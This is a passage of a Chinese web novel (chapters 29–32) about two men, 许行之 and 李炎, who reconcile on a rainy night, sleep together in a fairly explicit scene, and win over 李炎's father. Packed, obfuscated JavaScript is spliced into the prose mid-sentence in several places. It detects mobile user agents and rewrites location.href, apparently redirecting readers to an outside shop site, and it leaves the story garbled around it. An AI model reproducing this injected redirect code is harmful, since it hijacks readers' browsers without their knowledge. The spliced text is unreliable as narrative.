顾飞的声音从李炎的手机里传过来,其实刚刚那个刘帆到这的时候,许行之就知道他俩没事,但就是拗不过李炎不主动联系他的这事儿,他这会儿就是不想开口。 “你跟许行之说,”不知道是不是刚刚吼的那几声,李炎的声音有些嘶哑,“刘帆是谁。” “什么?”顾飞没明白李炎的意思,“什么意思?和刘帆有什么关系?” “许行之在我旁边,你就,哎,”李炎叹了口气,“你就告诉他刘帆是谁就行了。” “刘帆就……就我们钢厂那片的朋友啊,哎不是,”顾飞声音有点儿着急,“是不是有什么误会啊?你们发生啥了?” “好……”李炎的声音沉了下去,“没事了,挂了,你早点休息。” “哎不——” 没等顾飞说完,李炎就把电话挂掉了。 李炎把手机息屏了放进了裤兜里,整个人站在楼道的阴影下,声音从黑暗里传过来,发着抖,“许行之,你……现在可以告诉我,你怎么来了吗?” 许行之已经被雨淋透了,整个人都朦胧着,声音哑得不像话,“下雨了,我来给你送伞。” 29. 第29章 “伞呢?”李炎问许行之。 “在车里。” “跟我上楼。”丢下了这句话,不等许行之反应,李炎就上了楼。 李炎家不高,就在二楼,老房子没有电梯,楼梯和走廊都很长,一梯四户,李炎的家在最里面,进门的时候许行之有点犹豫,毕竟这会儿自己跟落汤鸡似的,还是没有迈进去,就在门口站定了。 像是料到了许行之不会直接进门,李炎拿了个白色浴巾就过来了,递给许行之先让他擦一擦头发。 “衣服脱了。”李炎说。 许行之就听之任之,把上衣脱了。 “鞋,裤子也脱了。” 许行之先是把手机拿给了李炎,然后把裤子和鞋都脱了,全身上下就剩了条内裤。 李炎用脚勾出了一双拖鞋,挪到了许行之面前,意思是让他换上。 “去洗澡。”李炎说,“左边第一间就是。” 许行之咽了一口唾沫,看了看李炎。 “衣服裤子我一会儿给你送进来。”李炎顿了顿,“眼镜儿,要不要给我?” 于是许行之又把眼镜给了李炎,趿拉着拖鞋进了卫生间,热水冲下来的一瞬间许行之觉得自己全身的细胞都活了过来,刚刚被刀砍过了的心脏迅速愈合了,在楼下的对话反复出现在自己的脑海里,他觉得自己冲动了,但并不后悔,甚至这种冲动还带着一股爽劲儿,好像自己快三十年来从来没有撒过的疯一下子全撒了出去,幼稚得像个幼儿园大班的孩子一样揪着好朋友问,今天另外跟你好的人是谁,问不到决不罢休。 涂抹沐浴乳的时候,许行之才反应过来李炎身上的香气到底来自哪里,泡沫从自己的身体上出现,又被热水冲走,好像把自己的脑子也洗了一遍,许行之这会才开始担心起来,刚刚是不是太疯了,李炎……会原谅这样的自己吗?或者讨厌? 临快要结束的时候,李炎直接拉开了卫生间的门,“衣服裤子内裤都在这了,拿浴巾擦干了换好了就出来,我也要洗。” 穿衣服的时候才发现,内裤是一次性的那种,裤子给的是大裤衩,衣服给的是一件白背心,把头发尽量擦干了,许行之才走了出去,他看见李炎正好端着衣服过来了,却没有看他一眼。 “李炎。”他叫他。 “等会说,”李炎还是没看他,“我刚让老头子去一楼的孤寡老头儿那对付一晚了。” 怪不得没见着老李,原来趁着他洗澡的功夫把他爸赶走了。 “右边那间是我的房间,里面有个小沙发,你就在那坐着去。” 许行之手里攥着自己刚洗的内裤,有点不知所措,举着问了句,“晾哪儿?” 他不确定是不是自己看错了,李炎竟然露一丝笑意,还微微地摇了摇头,这是拿他没办法的意思,许行之能读懂,“给我。” 许行之就把团成一团的内裤给了李炎,接着听话地走进了李炎的卧室,在小沙发上坐了下来。等李炎的时候,许行之什么都没干,甚至连就放在手边桌子上的眼镜都没戴。 李炎进屋的时候,许许行之的头抬了起来,眼睛眯了眯,好像是因为近视看不清他的脸,李炎这会儿头发吹干了,蓬蓬松松的,他穿着奶黄色的短袖和一条纯白色的平角内裤,直接在床沿坐下了。 “你说我还是我说?”李炎问许行之。 “都行。” “那你说。” “我……对不起,是我冲动了。” “嗯,” 李炎挑了挑眉,“看着我跟别的男人在一块儿感觉怎么样?” 许行之一下子抬起了头来,直直地盯着李炎,“你别拿这个试探我。” “还有什么想说的?” “我想你了,我们很久没见了。” “还有呢?” 许行之想不到别的了,他不知道李炎问他的目的是什么。 李炎看了一下时间,“许行之,你还有20个小时。” “什么?” “距离两天还有20个小时。” “见面不算?” “没说到我想听的就不算。” “那,”许行之这会儿真有点摸不准李炎的意思,“你说吧。” “今天为什么没给我送菜?” “上午赶着去看了看我奶奶。”许行之又补了一句,“她在疗养院里,老年痴呆。忙忘了。” “哦。”李炎点了点头。 “我是不是应该要和你说一声?” “还算有觉悟,”李炎打开了书桌下面的柜子,拿出了那一大桶棒棒糖,随便挑了一根出来含在嘴里,声音有点儿含糊,“接着说。” “说什么?” “行,你没别的说的了是吧,那我来说。”李炎把棒棒糖从嘴里拿了出来,腿在床上盘了起来。 许行之点了点头。 “为什么只给我点外卖?”没等许行之回答,李炎就继续说了,“我给你发张图,你回我一句话,有意思?你不想知道我除了拿外卖和做饭之外的时间在干什么吗?你对我好奇吗,许行之?你好奇我的生活吗,还是你只是喜欢喜欢你的我?我们之间是不是只能谈情说爱?生活呢?想过吗?” 许行之沉默了半响,看向李炎的眼神很复杂,语调却很稳,“当然好奇,当然想过,不是想过,是一直在想。” “然后呢?”李炎轻佻地笑了一下,整个动作充满了无奈,“是不是无解。” “我的圈子很难适应吧,李炎?”许行之没回答他的问题,自嘲地笑了一下,接着自顾自地说了起来,“所有人都认为我应该站在顶端,包括曾经的我自己,鲜花、掌声、奖牌、成就,好像这些东西我天生就该拥有,是,我承认,获得这些的确不太费劲,然后呢?”许行之看向李炎,没戴眼镜的眼睛显得更加深邃了,连眼窝的轮廓都深了一些,“继续去追寻更多的这些?我的生活呢?我是没有生活的,李炎……甚至连一开始养猫,也是因为需要研究行为主义的实验对象而已,它们本来没有名字的,只有编号。” 许行之抬起了手捋了一下额前掉下来的头发,“大概率你们都以为我挺冷静沉着的吧,”许行之扯了个难看的微笑,摇了摇头,“那不是冷静,是冷漠。用有限理性的思维,去思考无限的课题的时候,就会产生这样的表现。”他又叹了一口气,“怎么说呢,我认真相处过的每个人,我都觉得他们很好,但他们不鲜活,过度追求学术成就会让人的兴奋阈值提高,然后一切就开始变得没意思起来,”说到这里,许行之的眼神里转了些温柔,笑着对李炎说,“我很幸运,我遇见了你。你不一样,你大胆、坦荡、骄傲、自足……你的鲜活来自于你本身,也来自于你热热闹闹的生活。” “我们之间……”许行之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338580|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话锋又转了回来,“当然不仅仅能谈情说爱,我还有很多想对你说的、想和你做的。可我、怕你痛苦,怕我所处的圈子和我自己,给你带来痛苦,你走的那天,我觉得我浑身都是罪孽,我怕因为我而扼杀掉你的鲜活,我想接近你,也不敢接近你。我可以有千万个理由和借口来接近你,可我担心每一个都会给你带来痛苦,我……我的私欲和你的快乐比起来,真的不值一提。” 话说完的时候,许行之已经不看李炎了,他才是无地自容的那个。 李炎的鼻子有些泛酸,这快一个月的时间里,许行之不联系他的时候,他就在想,是不是许行之已经在做心理建设了,顺其自然地放手、顺其自然地离开,每一句话的收尾都是这个人主动发的,根本聊不起来,可第二天一早又收到外卖送的菜,刚开始还觉得许行之是有些笨拙,日子久了,就以为许行之是在给双方做渐行渐远的铺垫,直到今天早上,李炎没再收到许行之点外卖送过来的菜,他觉得他们俩可能到头了,刘帆又交了个看起来挺靠谱的女朋友,说要请他一起吃个饭高兴高兴,他觉得他该回到以前的那种生活了…… 千万个自卑的理由里,唯有许行之的疼惜,他没看到。 千万个会被舍弃的原因里,唯有许行之的坚持,他没想到。 千万个怀疑、千万个刺痛里,唯有许行之的守护,他没感觉到。 一向衬衫西裤的许行之,突然在自己面前穿上了大裤衩和大背心,手肘撑在膝盖上,手掌又十分无奈地蹭着眉心,李炎觉得,可能这会是许行之迄今为止,最上不了台面的时候了吧。 最落魄狼狈的时候,他却一点没在意,对着自己掏心掏肺。 一个浑身被雨淋透的人,却要来给自己送伞。 李炎想不到,全世界还有什么比这更珍贵。 “许行之,”李炎走到了他面前,也学着他上次坐在地板上一样,仰着头看他,“倒计时结束了。” 许行之心里一惊,望向李炎的一瞬咽了口唾沫。 下一步,李炎双手环住了许行之的腿,脸颊蹭上了他的膝盖,已经红了的鼻子还透着点凉,一颗热泪从李炎的眼角滚落到了许行之的腿上,“我认了……我要我们在一起。” 再抬头时李炎的眼睛里已经噙满了泪水,瘪着的嘴努力挤出了三个字,“抱抱我。” 许行之没有直接把李炎抱起来,而是自己跪到了地上,慢慢地把李炎扶起来,再拥进了自己怀里,紧紧地、抱住了他,他的脸贴在李炎的颈侧,一直收紧的情绪终于获得了突破口,也在无声泪流。 “炎炎……”许行之叫他,“我好想你。” 这个毫无芥蒂的拥抱,两个人都等得实在太久了。 李炎轻轻挣脱了拥抱,和许行之对视,“许行之,你快问我,愿不愿意跟你走。” 许行之摇了摇头,“你害怕的话,我可以留下来。” “别犯傻了,快问我,你再不问,我就要反悔了。” 许行之还是抱着他不说话。 李炎用力掐了一下许行之的腰,“让你他妈问就问,赶紧的。” “你愿不愿意跟我走?” “我愿——” 许行之吻上了李炎的唇,干燥的、炽热的,不仅仅是触觉。 还有他漏在两个人唇缝间的三个字。 “我爱你。” 30. 第30章 这一晚许行之极尽温柔,他几乎每做一步动作,就要与李炎接一次吻,有的时候,是吻接着吻,他从李炎的头顶心吻到了发梢,他在李炎的耳廓上轻啄,又把唇贴到了耳后,再用唇抿住了李炎的耳垂,他顺着李炎的下颚线,又吻到了额头,在发际线上轻轻蹭过,他用他的唇,描绘着李炎所有的细节,额角的发丝、左耳垂边上淡栗色的小痣,还有已经有些泛红的眼尾。 李炎躺下的时候,觉得自己像豌豆公主,明明床还是自己的床,但却变柔软了,像睡在羽毛里,温暖的、轻飘飘的,还有些痒,许行之只是抓着他的手而已,可他从来没有这样害羞过,双手把床单都捏皱了,还是觉得脸烧得慌,即使是许行之没在吻他的脸,他也没敢睁开眼睛。 湿热的潮意是从他的嘴里感受到的,李炎从来不敢想象许行之会这样对待自己。许行之做的一切太像献祭了,他把自己所有的温柔与疼爱都奉献了出来,所有的触感都在发疼之前止住了,太不像他了,他收起了所有的锋芒,几乎是将自己最柔软的心从胸口里直接拿出来,端到了李炎的面前,在用尽全力对他说,我不会伤害你,我不舍得让你疼,如果一定要有人感到难以忍受,那就我来扛我来疼。 可许行之也低估了李炎对他的眷恋,见过高山的人又怎会再向往平地,李炎终于抬起了手抚向了他的发,把那些带有羞意的心思抛下了。许行之所有的动作都在请求他的宽恕,可李炎却觉得又何错之有?许行之再次吻向他的唇时,他回吻着鼓励,带着热意的气息落在许行之深邃的眼窝上、脸颊上,他吻着许行之的鬓角,轻轻厮磨着他的耳屏。 这次没等他要求,李炎就在他耳边轻声唤上了他的名字,“行之……” 手上的力气一下没控制好,可能抓疼了李炎腰,惹得他又闷哼了一声。 “行之……” 咽下的唾沫并没有纾解嗓子的干燥,反而像浇下去的油一样,从里面开始烧起来,脑袋里的想法比身体更烫,许行之的额头贴上了李炎的胸口,呼出的热气都快散到了他的腰上,他用极致的忍耐来惩罚自己,他需要用这样的胀痛来铭记李炎为他做出的牺牲,李炎竟然要跟他走,他竟然真的——不看别的、不管别的,飞蛾扑火一样愿意奔赴自己。 “行之……” 有些难耐并不是一个人的,李炎微微弓起的腰在表达自己的意愿。 许行之的声线都烫哑了,“要……关灯吗?” “……随你。”李炎抬手打开了床头柜的抽屉,眉头已经微微蹙了起来,声音里多了份催促,“东西在这里。” 他早想邀请他来,没想到他先他一步。 许行之还是强忍着冲动去把灯关了,走回来刚到床沿的时候,就被李炎握住了,他的脸正慢慢靠近,当他像第一次那样对待自己的时候,许行之深吸了一口气,差点直接交代了。 许行之并没有让李炎继续,而是把他扶了起来,带到了窗前从背后抱住了他,当他握着李炎的手一起撑在窗台上的时候,在他的耳边留下了一句话,让李炎战栗不已,“炎炎,一起看雨吧……” 雨声里混着两人纠缠的呼吸,淅淅沥沥的小雨顺着玻璃上的水痕一直滑到底部,几股雨水又汇成了更明显的痕迹,李炎突然张开了手,下一秒手指就抠进了移窗底部的槽里,覆在他手背上的许行之的五指都用力嵌进了他的指缝,握得他手骨发疼,刚刚还淅淅沥沥的雨来了一阵急的,豆大的雨点子打在窗框上、玻璃上,有些直接砸到了底部,溅起的水珠挂在玻璃上,李炎已经有些看不清水痕的数量,面前的玻璃也已经起了白雾,他已经无法睁开眼睛了,整个人都在往下掉,如果不是许行之在背后擎着他,他真的会直接摔在地板上,钻进耳朵里的声音是雨还是别的,李炎无法分清,也已经控制不住对着玻璃外的雨大声哭求慢一点,这么急,路灯下的水塘一定花得不成样子,可蓄着雨的云没有答应他,反而落了一阵更大的,雨好像透过了玻璃直接打在了李炎的脸上,眼角和嘴角都滑落下了水渍,他反握住许行之的手,直接覆在了自己仰起来的脖颈上,带着许行之的手掐下去的时候,云里的雨全部倾倒了下来…… 积雨云飘走了。 可许行之还是觉得不够。 他们从窗边摔到了地板上,在感觉不到地板疼痛的时候又回到了床上,最后在浴室里的时候,李炎已经喊不出声了。 雨停了,两个空了的人也睡着了。 再次醒过来的时候,天已经大亮。 “我操……”还没睁眼,李炎就用两个字发表了昨晚的全部总结。 “不够?”许行之的声音从边上传过来。 李炎这才睁开了眼睛,看见许行之正笑着看自己,他没忍住闭了闭眼,吸了一口气,“你他妈是人吗?!” “不够可以再来。”许行之笑着逗他。 “你想弄死我?”李炎尝试动了一下,疼得直抽气,“哎操,你他妈有瘾吧?” 许行之挑了下眉毛,“好像对你是有点儿。” “点儿?”李炎喊着,“多大点儿?” “那——么大一点儿。”许行之在空气里画了个圈。 “那他妈叫面!点线面,学过,你少坑我。” 许行之笑得都发抖,伸手摸了摸李炎的脸,“还疼么?我看看?” “您可千万别看!”李炎吓得脑袋都往回收了收。 “你爸好像还没回来,没事吗?”许行之不逗他了,说了句正经的。 “没事,他知道你来了,估计直接吃了早饭去店里了。” “你爸知道我?”许行之倒是有些意外。 “嗯,”李炎顿了顿,“你第一次来的时候,哎反正他知道你。” “第一次来的时候什么?展开说说?”许行之捏了捏李炎的手臂,像个讨糖吃的孩子。 李炎叹了口气,“第一次你来的时候,他就警告我让我离你远点。” 许行之一下没收住笑,问了出来,“为什么?” “你那么聪明猜不出来吗?”李炎没好气地说。 “怕我把他的儿子拐跑了?” “啊。” “你真要跟我走?”这个问题早晚都要问,许行之并没有避讳。 “难道让你跟我留在这里吗?你在这都找不到工作。” “你不养我吗?李老板?”许行之还是在笑,“我服务还是挺到位的吧?” 李炎斜着眼睛看他,轻咳了两声,“你对人类贡献比我大,我让着你点应该的。” 许行之不以为意,笑了一声,“你这又是什么歪理。” “你这人,怎么那么不知好歹呢,”李炎皱了皱眉,“你那次演讲的内容,我上网查了查,还有你的专业……嗯,你们叫研究领域是吧?还有你发表的论文,我都看了看,虽然没怎么看懂吧,但是挺新鲜的,反正都是和治病救人有关的,”李炎看向了许行之的眼睛,认真又坚定,“你有着很伟大的职业,也正在做很伟大的事情,我……为你感到骄傲。” 所以李炎会问自己对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你奶奶怎么样了?” “就……”许行之叹了口气,“不认得人了,有的时候像小孩儿,有的时候记忆错乱。” “没办法治的吗?” 许行之摇了摇头,“只能尽量减缓退化的速度,不是每个病都能治的,事实上绝大多数病症都无法治愈。” 李炎抬头亲了一口许行之的下巴,“怪不得你说,做医生要有一颗强心脏。” “你记得挺牢啊?” “网上能搜到视频。”李炎心虚地咳了一声。 “天天看我?” “……嗯。” “那怎么不找我?”许行之想起来了,这笔账还没和李炎算呢。 “你一天就这么两句话,最后就好的知道了,我以为你不想理我了。” “怎么会?我可舍不得不理你。”许行之用下巴蹭了蹭李炎的脑袋,“说起来,还是我奶奶提醒我来找你的。” “嗯?”李炎有些不解。 “临出门的时候,她突然说了句要下雨了,不知道我有没有带伞,说放学要去接我。”许行之说,“我就想着……要下雨了,我不能连给你送一把伞都做不到。” 李炎的眼眶又红了,嘴里倒是一点不客气,“傻逼。” “不算太傻,追回来了。”许行之吻了一下李炎的额角。 “你奶奶……”李炎有些犹豫,“怕不怕陌生人的?” “她基本都不记得了,只要不是太大声跟她说话,或者喂药,也没碰上发作的时候,她都不会有什么太过激的反应。”许行之问,“怎么了?” “回去后,带我去看看她,行么?”李炎仰起头看向许行之。 许行之看着李炎有点发怔,然后把他紧紧地拥在了怀里,“好。” 31. 第31章 李炎拿了好几件衣服给许行之试,都有点儿小了,许行之让他别麻烦了,他穿个背心也没啥问题,只要他不嫌弃把背心穿到室外就行,但李炎就是不干,说他男朋友怎么可以穿个背心大裤衩就出门了,许行之笑着说再来一双夹脚拖,让他彻底钢厂化改造一下也不是不行,翻箱倒柜的钢厂厂花终于妥协了,主要还是找不到合适的衣服。 出门之前李炎真的拿了一双沙滩人字拖给许行之,憋着一脸坏笑,他就不信许行之能下这个脚,没想到人看都没看一眼,踏着就出了门,看着许行之这一身装扮站在楼道里,李炎心里泛着感慨,学术成就暂且不提,但凡钢厂在外表上有这么一号人物,他大漂亮见着第一天,就不能让这人在一星期之内在眼前溜号,必须纳入麾下。 “看什么呢,色眯眯的?”许行之笑他。 李炎摇了摇头,没搭理他,心里想着人靠衣装这四个字吧,跟这人根本搭不上边。 两人先去楼下的早餐铺吃了早点,这次许行之没拦着李炎了,要的早饭铺了满满一桌子,喝的倒只有两杯豆浆。许行之觉得这场面好久没见着了,还有点儿怀念。 “你在紧张什么?”许行之问李炎。 “我?”李炎回他,“我紧张什么?” “嗯,”许行之喝了口豆浆,往身后的椅子上一靠,头发梢在风里微微晃动,整个人透着随意,“你每次紧张的时候都会点很多东西。” “有吗?” “有啊,”许行之拉着椅子一起往前挪了挪,挑了个眉对李炎说,“第一次点烧烤的时候,紧张了吧?” 李炎神色突然有点慌张,清了清嗓子。 真可爱,许行之心里想,他也跟着清了清嗓子,“和蒋丞顾飞吃涮肉的时候,也紧张了吧?” 李炎嘴狠狠地抿了起来,咬牙切齿的,却有点儿上脸了,“合着你一直看着我表演呢?” “不算表演吧,”许行之笑得有点儿贼,“看一个漂亮的人,因为自己紧张,挺兴奋的。” “死变态。”虽然嘴里骂着,但李炎还是没压住嘴角,“真后悔把你那鬼毛病治好了。” “噢……”许行之故意转了个调,“那我以后不说了。” “不说揍到你说为止。” 许行之伸手揉了揉李炎的黄毛,他今天没扎头发,头发就这么自然地别在耳后,“要扎头发吗?我这有皮筋儿。”许行之伸手到李炎的面前。 “馊了都,你天天戴着。” “行,那改天你给我换一根。”许行之喝了一口豆浆,又咬了一口鸡蛋灌饼,“你们这鸡蛋灌饼真好吃啊?” “是吧,我感觉好吃得都可以申遗了。”李炎也喝了口豆浆,笑得眼睛弯了起来。 “问你呢,紧张什么?”许行之还是回到了最初的问题。 李炎放下了豆浆,神色的确有些不定,“一会儿我得找一下老头子,说我要过去的事。” 许行之也停住了吃早饭的动作,伸手握住了李炎的手,“一起吧,毕竟我拐的他儿子。” 李炎看着许行之没说话,他觉得有点像做梦,一直以来,在感情这事儿上,都是自己独自一人出面处理相关的关系,家人也好、朋友也好,即使交了男朋友,也不会主动给他们介绍,当然了,也没有任何一个人,主动和李炎提出,要和他一起面对他的关系网,他之前所有的感情都游离在他的关系网之外,看着都挺风风火火,其中的苦辣只有自己知道。 “嗯。”李炎点了点头。 “其实我有个想法,但不知道你爸会不会同意。”许行之说,“我之前就想过,一直没敢给你提。” “啥想法?” “把你爸一块儿带走。”许行之看着李炎,微微皱了皱眉,他不知道他这想法成不成熟,“你觉得合适吗?” 这才是李炎真正紧张的事,他不是紧张要和他爸提要和许行之走,和他爹斗智斗勇了十几年,李炎什么路数老李清楚得很,上头了什么都不管不顾,别说和许行之走,就算是招呼都不打一个,老李都不一定会惊讶。他真正紧张的,想不知道该怎么和许行之开口,他想把他爸一起带走,他已经老大不小的了,他妈走了,留他爸一个少了条腿的残疾人,李炎实在是不忍心,何况这几年,老李的确对李炎改观了很多,修车的手艺也是老李牵线让他去学的。 他爸出院的时候,哭得直接都跪在了地上,说对不起他妈,也对不起李炎,说自己恨不得随他妈一起去了,但他实在放心不下自己这个莽撞又天真的儿子,必须得咬着牙活下来。再有一次和他爸还有三个伙计在店里喝酒,他爸有点儿多了,拍着伙计的肩就跟人说,自己没用,本来想让儿子过好日子的,没想到家里的重担就这么给他了,不知道他是不敢还是不忍对着李炎说这些,反而对着伙计们说,千万别怪他们爸妈没给他们创造好条件,还让他们自己出来修车,如果爸妈有办法,是一定不会让孩子出来吃苦的,但虽然修车辛苦,挣的钱都是干干净净的,也千万别觉得低人一等。 想到这些,李炎有点儿哽咽了,语调都低沉了下去,“许行之,你是不是我肚子里的蛔虫啊?” 许行之伸手捏了捏李炎脸,“我们大漂亮也是这么想的么?” “嗯,最好能带他一起走,”李炎顿了顿,“他一个人在这,我不放心。” 俩人到汽修店的时候,老李还是在店门口抽烟,见着李炎和这个人模狗——嗯?今天这装扮怎么那么眼熟。 “兔崽子!!你他妈把我新买的背心拆了啊?”老李直接吼了一句。 敢情许行之穿的是他爸的背心啊,他想呢,以李炎的腰身买的背心,自己穿在身上怎么那么松快。 “还有老子刚买的沙滩裤衩!!长度正合适老子用来遮残肢的,你倒是大方啊!!” 许行之看着李炎都忍不住笑了,原来这一身都是老李的,李炎也没忍住,对着老李说的话也断断续续地含着笑意,“人家来做客,你小气什么。” “做客个屁!你打听打听,咱那楼谁不知道昨晚你在楼下发疯,”老李把抽完的烟一掐,“五楼的张婶儿还说你让她滚呢,哎呦你爹我一把年纪了还要给人赔罪!” 李炎啧了一声,“她冲我吼,我肯定得吼回去。” “来吧,进屋吧?”老李拄着拐杖,一挪一挪地回了汽修店里,见两人不动,又回过头,“不是来找我聊的吗?” “来了来了,你先进去。”李炎回了一句。 “你爸挺聪明的啊?”许行之在李炎耳边说了句悄悄话。 “老鳖精知道吗老鳖精?他那样的就是。” “还好你给我拿的是一次性内裤。”许行之又说了一句。 李炎瞪了他一眼,没话找话。 “知道了,”许行之声音又压低了点儿,“下次让你喊爸爸。” 刚想说出口的“你是不是有病”被他爸在屋里的一声吼吓回去了,俩人老老实实地进了屋。 虽然老李没法儿再跷二郎腿了,但这姿势一看就是,老李这会儿坐在单人沙发座儿上,李炎和许行之就顺着并排坐到了双人沙发上。 “说吧?这狼崽子要把你叼走了吧?”老李一副深谙其道的样子。 许行之有点不好意思地揉了两下鼻子,李炎倒是直接笑了出来。 “爸,就这么回事儿了,”李炎说,“他的牛逼在这地儿不够给他装的,大城市才能让他发挥真正的价值,我不跟着他走心里不踏实。” “心理医生是吧?”老李问了一句。 许行之点了点头,李炎倒有些意外,“老头子你咋知道的?你偷看我手机?” “放屁,你那手机老子都不稀得看,”老李哼了两声,“你自己看视频的账号和电视用的同一个不知道么?他妈天天历史记录里就是这个人在晃,害得老子都找不到之前看的电视剧了。” 这下轮到李炎无语了,被智慧生活摆了一道。 “爸,”李炎咽了口唾沫,要问出口的时候还是有点紧张,“我想你跟我一起走。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338582|199286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 老李皱了皱眉,刚要说点什么,就有人来问有没有师傅帮忙看一下轮胎胎压,好像被钉子扎了,李炎抬头看了看今天上班的就一个伙计,还在一辆底盘下躺着,就站起身来喊了一句“来了”,临离开前他有些放心不下单独把他爸和许行之留在一块儿,但看到许行之对他点了点头,李炎也就没说什么。 “李叔——”许行之还是开了口,刚准备说点什么,话头却被老李打断了。 “你会对我儿子好吗?” “会。”许行之想都没想,直接答上了。 “我太了解我儿子了,你第一回来,我就提醒过他,别招惹你,容易把自己搭进去,结果倒好,真搭进去了。”老李顿了顿,“我这个儿子啊,特别理想主义,有的时候光顾着感情看不到现实。” 许行之没接话,他知道老李这会儿话还没说完。 “上个月吧,他从你那回来,脸肿得跟猩猩屁股一样,我就知道,他在你那看到了现实,看到了和你的差距,整个人跟要死了一样,他以前也谈恋爱,但从没这样过。”老李看着许行之,许行之能从他的眼神里读到独属于父亲的关爱和睿智,“小伙子,我之前不让他接触你,你别怪我,因为如果你拉高了李炎对伴侣的期待和标准,那他就回不去了,一旦你和他分开,大城市也好,钢厂也好,别说找伴儿了,他自己的位置都会找不到。” 许行之咬了咬嘴唇,点了点头。 “小许,你真的会对我儿子好吗?”老李第一次这么称呼许行之。“一直对我儿子好?” “会的,”许行之说得庄重,“我以医生的职业和全部的学术素养向您保证。” 老李轻笑了一下,“后半句我听不懂,但前半句也够了,”他又长叹了一口,“希望你说到做到。” 许行之又点了点头,“随时接受您的监督,如果您有不满意的地方,任打任骂,我绝无怨言。” “打你?”老李不可思议地笑笑,“李炎不跟我翻天了才怪。” “不会给您这个机会的,”许行之也跟着笑了,接着他又大胆地继续了李炎刚刚的话题,“李叔,我们真的想接您一块儿去,李炎刀子嘴豆腐心您比谁都清楚,真把您一个人留在这,他不放心。” “我知道,大体上他还是孝顺的,就是那张嘴,太臭了,”老李又笑了一下,“随我。” “那您,同意不?” “我暂时还去不了,”老李瞥了一眼许行之,头一回见着这个一直挺从容的小伙子握在一起的两只手骨节都发白了,“趁我还能动弹,这门面还得处理一下,还有屋子得收拾下,我在这呆了一辈子了,你俩也得给我点时间。” “哎,好,”许行之明显地松了一口气,“谢谢李叔,谢谢您。” “别让李炎失望,不然我缺两条腿也能打死你。” 许行之重重地点了两下头。 “我也不为难你,回头你告诉李炎,大概一年后吧,你们接我过去,”老李说,“你们先自己好好过上一年,把那些生活习惯啊什么乱七八糟的都磨明白了,再来操心我这个糟老头子,那会儿这边的事也应该差不多弄好了。” “好,明白了。” “我儿子,就交给你了?”老李的眼睛有些朦胧,看着许行之的时候还在不断确认。 “哎,交给我吧。” “别辜负他。”老李的声音有些抖了。 “我一定像您一样护着他。”许行之心里也感慨。 “嗯……”老李叹了口气,“这小子心比天高啊,翅膀终究是硬了。我先回去了,昨天一晚上也没睡好,那老头儿的沙发可他妈硬,老子腰都要断了,等着店里忙完了,咱爷仨吃顿饭喝个酒,你们就走吧。” 看着老李出门的时候还和李炎斗了个嘴,许行之深深叹了一口气。 李炎的仗义和心软,都是从老李的韧劲儿和体谅心那随来的。 这个老父亲一挪一挪地往远处走,背影一点儿都看不出残破样,反而像一座高山。 32. 第32章 回家收拾箱子的时候,许行之的衣服也干得差不多了,李炎把那些衣服拿下来给许行之让他去换了,这背心裤衩还是还给他爸,许行之说别了,回头再给老爷子买两件,这回李炎没欣然接受,跟许行之说他就不信这背心和裤衩子带回家他能再穿第二次的,说之前买西服的时候就想说了,花钱如流水,金山银山迟早给他败光,以后千万不能让许行之管钱,这么个花法儿,哪个家还能好了? 许行之就在一边笑着听李炎叨叨叨,等他叨叨得差不多了,就跟李炎说等着回去就上交工资卡,财政大权还是要专人专做,李炎一下就哑火了,一个人蹲在那收拾衣服,头也没敢回。老李不知道从哪儿端了个搪瓷的杯子出来,对着李炎哼了一声又啐了句“出息”,李炎昂起头就顶了回去,许行之这才看到李炎满脸通红,不知道到底是蹲着了弄的,还是因为别的什么。 他俩晚上带着老李去了第一次去的那家烧烤店,没想到烧烤店的老板和老李更熟,原来这老板的爸原来也是钢厂的,这一来二算的,和李炎也算个竹马。俩人因为晚上要开车,只有老李一个人喝了酒,本来许行之说让李炎陪着喝点儿,李炎硬说晚上开车不安全,挺远的,不能让许行之开全程,老李这脸听得都快皱起来了,往嘴里塞了三四个肉串儿才好些。 下楼的时候李炎就把行李箱带下来了,塞进了车的后备箱里,老李就站在楼道口看他俩,许行之抬起头看过一眼,但很快就移开目光了,老李虽然什么都不说,但他看到了这个父亲全身都在念叨着舍不得。酒足饭饱后,他俩最终还是劝住了老李自己回家的想法,坚持一定把老李送到家门口,李炎直接把老李的拐杖拿到了自己手里,老李刚想开口骂他,就被他的一句话堵回去了。 “爸,你就让我搀你一回,成吗?” 老李就没再挣扎,就是伸出去的手有点儿抖。 打开了家门后,老李站在门里,李炎站在门外。 “儿子,别怕,”老李这会儿已经有些冒了泪花,“过你想过的日子,上哪儿都别怕,难受了就回家。” 李炎的嘴瘪了下去,直接一颗泪砸了下去,走到他爸面前抱了抱他,“爸,你抓紧点儿,我等你一起来呢。” “哎好,好,知道了,”老李拍了拍李炎的背,“我弄好了就给你打电话。走吧,孩子。” “嗯。”李炎抱着还是没撒手。 “快走吧,开车注意安全。”老李拍了拍李炎的的胳膊,“小许人不错,你俩争取一直好好的,啊?” 李炎点了点头,撒了手直接转身就走了,没敢看他爸,下楼的时候一直用手背抹着眼睛。 